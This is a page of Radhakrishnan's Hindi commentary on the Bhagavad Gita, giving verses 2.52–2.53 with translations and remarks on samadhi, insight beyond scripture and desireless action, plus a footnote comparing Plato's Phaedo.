भगवद्गीता -राधाकृष्णन पृ. 99

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अध्याय-2
सांख्य-सिद्धान्त और योग का अभ्यास कृष्ण द्वारा अर्जुन की भत्र्सना और वीर बनने के लिए प्रोत्साहन

  
52.यदा ते मोहकलिलं बुद्धिव्र्यतितरिष्यति ।
तदा गन्तासि निर्वेदं श्रेातव्यस्य श्रुतस्य च ।।
जब तेरी बुद्धि मोह की मलिनता को पार कर पाएगी, तब तू उस सबके प्रति उदासीन हो जाएगा, जो कुछ तूने सुना है, या जो कुछ सुनने को अभी शेष है।जिस व्यक्ति को अन्तर्दृष्टि प्राप्त हो चुकी है, उसके लिए शास्त्र अनावश्यक हैं। देखिए 2,46;4,44। जिसे भगवान् का ज्ञान प्राप्त हो सकता है, वह भेदों और उपनिषदों के क्षेत्र से परे पहुँच जाता है। शब्दब्रह्मातिवर्तते।

53.श्रुतिविप्रतिपन्ना ते यदा स्थास्यति निश्चला।
समाधावचला बुद्धिस्तदा योगमवाप्स्यसि ।।
जब तेरी बुद्धि,जो वेदों द्वारा विक्षप्ति हो गई है, अविचल हो जाएगी और आत्मा (समाधि) में स्थिर हो जाएगी, तब तुझे अन्तर्दृष्टि (योग) प्राप्त हो जाएगी।
श्रुतिविप्रतिपन्ना: वैदिक ग्रन्थों के कारण किंकत्र्तव्यविमूढ़ हुई। क्योंकि विचार और आचार के विभिन्न सम्प्रदाय अपने समर्थन के लिए वेदों का हवाला देते हैं, इसलिए वे व्यक्ति को किकत्र्तव्यव्यविमूढ़ कर देते हैं। समाधि चेतना का अभाव नहीं है, अपितु यह उच्चतम प्रकार की चेतना है। [१] समाधि में मन जिस वस्तु के साथ मिल रहा होता है, वह वस्तु दिव्य आत्मा है। बुद्धियोग वह पद्धति है, जिसके द्वारा हम वैदिक कर्मकाण्ड से ऊपर उठ जाते हैं और अपने कर्मां के फल की इच्छा न रखते हुए अपना कत्र्तव्य किए जाते हैं। हमें कर्म करना चाहिए, परन्तु शान्ति के साथ, जो किसी भी कर्म की अपेक्षा अधिक आवश्यक है। प्रश्न यह नहीं है कि हम क्या करें, अपितु यह है कि हम कैसे करें; किस भावना से हम कर्म करें।
 


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टीका टिप्पणी और संदर्भ

  1. यह वही वस्तु है, जिससे प्लेटो का तात्पर्य है, जब कि वह आत्मा को ’अपने-आप को समेटने और अपने ही अन्दर केन्द्रित करने के लिए’ फ्रेडो, 38 ए ।

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